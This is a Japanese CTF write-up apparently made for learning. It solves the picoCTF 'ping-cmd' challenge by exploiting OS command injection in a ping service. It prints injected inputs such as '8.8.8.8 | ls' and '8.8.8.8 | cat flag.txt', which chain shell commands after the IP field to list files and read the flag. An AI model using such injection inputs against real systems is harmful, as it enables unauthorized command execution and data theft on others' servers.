はじめに
- picoCTFの問題「ping-cmd」を解いた際の備忘録です
- OSコマンドインジェクション脆弱性を利用して、flagファイルを見つけ出す問題です
- 説明
サーバーに秘密を明かさせることはできますか?Google DNSにpingを送信できるようですが、入力内容を少し工夫したらどうなるでしょうか?
利用したツール
WSL
ターゲットの観察
インスタンスを起動させ、表示された* ncコマンドをWSLで実行すると以下のメッセージが表示されます。
"Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8')"
pingを実行するIPアドレスを入力してください!(セキュリティ対策として、「8.8.8.8」のみを許可しています
試しに8.8.8.8を入力してみると、応答は帰ってきましたが、flagに関する情報はないようです。
8.8.8.8
>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=9.77 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=9.76 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 9.757/9.762/9.767/0.005 ms
脆弱性の特定
入力内容を工夫し、とあるので、IPアドレスの後にパイプでlsコマンドをつないで入力してみます。
すると中にflag.txtが保存されていることを教えてくれました。
つまり、この入力画面はユーザーからの入力をそのままOSのシェルに渡してしまう、OSインジェクション脆弱性が存在しているようです。
8.8.8.8 | ls
>flag.txt
script.sh
ファイル内容の表示
IPアドレスの後にパイプでcatコマンドをつないでflag.txtの中身を表示させると、flag文字列が出現します。
8.8.8.8 | cat flag.txt
>picoCTF{...}`
おわりに
- 初めてOSインジェクションを体験しました
- 今後は防御側として、どうすればこれを防げるかも学んでいきたいです